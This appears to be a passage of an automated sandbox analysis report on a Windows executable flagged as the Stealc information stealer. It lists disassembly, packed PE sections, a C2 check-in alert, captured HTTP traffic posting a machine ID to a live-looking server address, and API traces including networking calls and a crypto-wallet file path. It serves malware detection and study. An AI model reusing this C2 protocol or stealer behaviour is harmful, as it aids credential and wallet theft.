add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007F228CB05035h
add byte ptr [edx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+eax], bl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or al, 80h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add cl, byte ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax+00000000h], eax
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
inc eax
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], cl
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add cl, byte ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
aas
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edx], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edi], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x25d050	0x64	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x25d1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x25b000	0x22800	66625af1cc76d6e618788137abbcdd45	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x25c000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x25d000	0x1000	0x200	c60c4959cc8d384ac402730cc6842bb0	False	0.1328125	data	0.9064079259880791	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x25e000	0x2a5000	0x200	f3d595d52a490bb533ddc3113fe4e6f2	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
pbupcvvt	0x503000	0x1a2000	0x1a1400	097cfcd0c486aab2ee7fb1781e615196	False	0.9950165471464949	data	7.9539107062128656	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
eseqydfj	0x6a5000	0x1000	0x600	242e8eb803178e7d65a1ae3cc082d0f4	False	0.60546875	data	5.158732976472675	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x6a6000	0x3000	0x2200	0c228082a24e16240896fa6a2cb44ed3	False	0.05974264705882353	DOS executable (COM)	0.6906900422691058	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-27T01:47:07.638757+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	49730	185.215.113.206	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 27, 2024 01:47:06.423566103 CEST	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 01:47:06.429208994 CEST	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 01:47:06.429330111 CEST	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 01:47:06.429724932 CEST	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 01:47:06.435046911 CEST	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 01:47:07.345360041 CEST	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 01:47:07.345551968 CEST	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 01:47:07.348097086 CEST	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 01:47:07.353554010 CEST	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 01:47:07.638669968 CEST	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 01:47:07.638756990 CEST	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 01:47:10.678854942 CEST	49730	80	192.168.2.4	185.215.113.206

HTTP Request Dependency Graph

185.215.113.206

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	185.215.113.206	80	7284	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 27, 2024 01:47:06.429724932 CEST	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Oct 27, 2024 01:47:07.345360041 CEST	203	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 23:47:07 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 27, 2024 01:47:07.348097086 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EBKKKEGIDBGHIDGDHDBF Host: 185.215.113.206 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 42 4b 4b 4b 45 47 49 44 42 47 48 49 44 47 44 48 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 41 37 39 33 33 44 45 31 46 33 39 37 38 36 32 35 34 35 31 33 0d 0a 2d 2d 2d 2d 2d 2d 45 42 4b 4b 4b 45 47 49 44 42 47 48 49 44 47 44 48 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 70 75 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 45 42 4b 4b 4b 45 47 49 44 42 47 48 49 44 47 44 48 44 42 46 2d 2d 0d 0a Data Ascii: ------EBKKKEGIDBGHIDGDHDBFContent-Disposition: form-data; name="hwid"9A7933DE1F39786254513------EBKKKEGIDBGHIDGDHDBFContent-Disposition: form-data; name="build"puma------EBKKKEGIDBGHIDGDHDBF--
Oct 27, 2024 01:47:07.638669968 CEST	210	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 23:47:07 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Target ID:	0
Start time:	19:47:03
Start date:	26/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x520000
File size:	1'865'728 bytes
MD5 hash:	A2D11B8A418D4D4F4653FFD4AF70D5C7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.1723267854.0000000004B50000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1768903421.0000000000EFE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1766358314.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	8.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	9.7%
Total number of Nodes:	2000
Total number of Limit Nodes:	25

Executed Functions

Function 00539860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(74DD0000,00F12BA0), ref: 005398A1
GetProcAddress.KERNEL32(74DD0000,00F12CA8), ref: 005398BA
GetProcAddress.KERNEL32(74DD0000,00F12CC0), ref: 005398D2
GetProcAddress.KERNEL32(74DD0000,00F12B10), ref: 005398EA
GetProcAddress.KERNEL32(74DD0000,00F12C60), ref: 00539903
GetProcAddress.KERNEL32(74DD0000,00F19780), ref: 0053991B
GetProcAddress.KERNEL32(74DD0000,00F05C70), ref: 00539933
GetProcAddress.KERNEL32(74DD0000,00F05CB0), ref: 0053994C
GetProcAddress.KERNEL32(74DD0000,00F12A80), ref: 00539964
GetProcAddress.KERNEL32(74DD0000,00F12A98), ref: 0053997C
GetProcAddress.KERNEL32(74DD0000,00F12AE0), ref: 00539995
GetProcAddress.KERNEL32(74DD0000,00F12CD8), ref: 005399AD
GetProcAddress.KERNEL32(74DD0000,00F05CF0), ref: 005399C5
GetProcAddress.KERNEL32(74DD0000,00F12C78), ref: 005399DE
GetProcAddress.KERNEL32(74DD0000,00F12AB0), ref: 005399F6
GetProcAddress.KERNEL32(74DD0000,00F05DB0), ref: 00539A0E
GetProcAddress.KERNEL32(74DD0000,00F12B28), ref: 00539A27
GetProcAddress.KERNEL32(74DD0000,00F12BB8), ref: 00539A3F
GetProcAddress.KERNEL32(74DD0000,00F05C30), ref: 00539A57
GetProcAddress.KERNEL32(74DD0000,00F12B88), ref: 00539A70
GetProcAddress.KERNEL32(74DD0000,00F05B30), ref: 00539A88
LoadLibraryA.KERNEL32(00F12D50,?,00536A00), ref: 00539A9A
LoadLibraryA.KERNEL32(00F12D38,?,00536A00), ref: 00539AAB
LoadLibraryA.KERNEL32(00F12DC8,?,00536A00), ref: 00539ABD
LoadLibraryA.KERNEL32(00F12DB0,?,00536A00), ref: 00539ACF
LoadLibraryA.KERNEL32(00F12DE0,?,00536A00), ref: 00539AE0
GetProcAddress.KERNEL32(75A70000,00F12D20), ref: 00539B02
GetProcAddress.KERNEL32(75290000,00F12D68), ref: 00539B23
GetProcAddress.KERNEL32(75290000,00F12D80), ref: 00539B3B
GetProcAddress.KERNEL32(75BD0000,00F12D98), ref: 00539B5D
GetProcAddress.KERNEL32(75450000,00F05D10), ref: 00539B7E
GetProcAddress.KERNEL32(76E90000,00F197C0), ref: 00539B9F
GetProcAddress.KERNEL32(76E90000,NtQueryInformationProcess), ref: 00539BB6

Strings

NtQueryInformationProcess, xrefs: 00539BAA

Memory Dump Source

Source File: 00000000.00000002.1766358314.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1766321931.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.000000000076A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000904000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.00000000009E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768104494.0000000000A24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768489341.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768624344.0000000000BC6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: NtQueryInformationProcess
API String ID: 2238633743-2781105232
Opcode ID: aa1e505f950670c9847dd9a3bc7329e902b6fbf936f7a5ac0330af98eb0a2082
Instruction ID: 6ca33e904e4904a067b3be94cb175c003d57eb2432325bbdb53516f3d35ad41b
Opcode Fuzzy Hash: aa1e505f950670c9847dd9a3bc7329e902b6fbf936f7a5ac0330af98eb0a2082
Instruction Fuzzy Hash: 79A16BB5500341BFC345EFA8EE889663BF9F79C301704C51AE607A3264D6BDA841DF2A

Function 005245C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000), ref: 0052460F
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 0052479C

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0052473F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005246B7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00524770
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00524622
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00524617
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00524662
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005246C2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005245F3
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00524643
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00524765
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005245D2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00524734
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005246D8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0052477B
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0052471E
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0052475A
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005245DD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005245E8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00524713
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00524683
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0052474F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00524638
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00524729
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005245C7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005246AC
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005246CD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00524657
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00524678
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0052466D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0052462D

Memory Dump Source

Source File: 00000000.00000002.1766358314.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1766321931.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.000000000076A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000904000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.00000000009E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768104494.0000000000A24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768489341.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768624344.0000000000BC6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: AllocateHeapProtectVirtual
String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 1542196881-2218711628
Opcode ID: 0673aada18f2d6530cbabe4569619a4754cde376a6c934fe9c06b0462998afea
Instruction ID: b15b6ed4603382f2d1ff8245e0f0d9c83a031fd074f235376306018364f44346
Opcode Fuzzy Hash: 0673aada18f2d6530cbabe4569619a4754cde376a6c934fe9c06b0462998afea
Instruction Fuzzy Hash: 0241F6706C7E047BE624BFAFA843EFD7B577F4AB0CF605844AA4467681DBF06500A522

Function 00524880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0053A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0053A7E6

Part of subcall function 005247B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00524839
Part of subcall function 005247B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00524849

Part of subcall function 0053A740: lstrcpy.KERNEL32(00540E17,00000000), ref: 0053A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00524915
StrCmpCA.SHLWAPI(?,00F1E748), ref: 0052493A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00524ABA
lstrlen.KERNEL32(00000000,00000000,?,?,?,?,00540DDB,00000000,?,?,00000000,?,",00000000,?,00F1E758), ref: 00524DE8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00524E04
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00524E18
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00524E49
InternetCloseHandle.WININET(00000000), ref: 00524EAD
InternetCloseHandle.WININET(00000000), ref: 00524EC5
HttpOpenRequestA.WININET(00000000,00F1E808,?,00F1DF48,00000000,00000000,00400100,00000000), ref: 00524B15

Part of subcall function 0053A9B0: lstrlen.KERNEL32(?,00F199F0,?,\Monero\wallet.keys,00540E17), ref: 0053A9C5
Part of subcall function 0053A9B0: lstrcpy.KERNEL32(00000000), ref: 0053AA04
Part of subcall function 0053A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0053AA12

Part of subcall function 0053A8A0: lstrcpy.KERNEL32(?,00540E17), ref: 0053A905

Part of subcall function 0053A920: lstrcpy.KERNEL32(00000000,?), ref: 0053A972
Part of subcall function 0053A920: lstrcat.KERNEL32(00000000), ref: 0053A982

InternetCloseHandle.WININET(00000000), ref: 00524ECF

Strings

------, xrefs: 005249BD
------, xrefs: 00524B28
", xrefs: 00524BF2
", xrefs: 00524D33
------, xrefs: 00524C69

Memory Dump Source

Source File: 00000000.00000002.1766358314.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1766321931.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.000000000076A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000904000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.00000000009E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A23000.00000040.00000001.01000000.00000003.sdmpDownload File
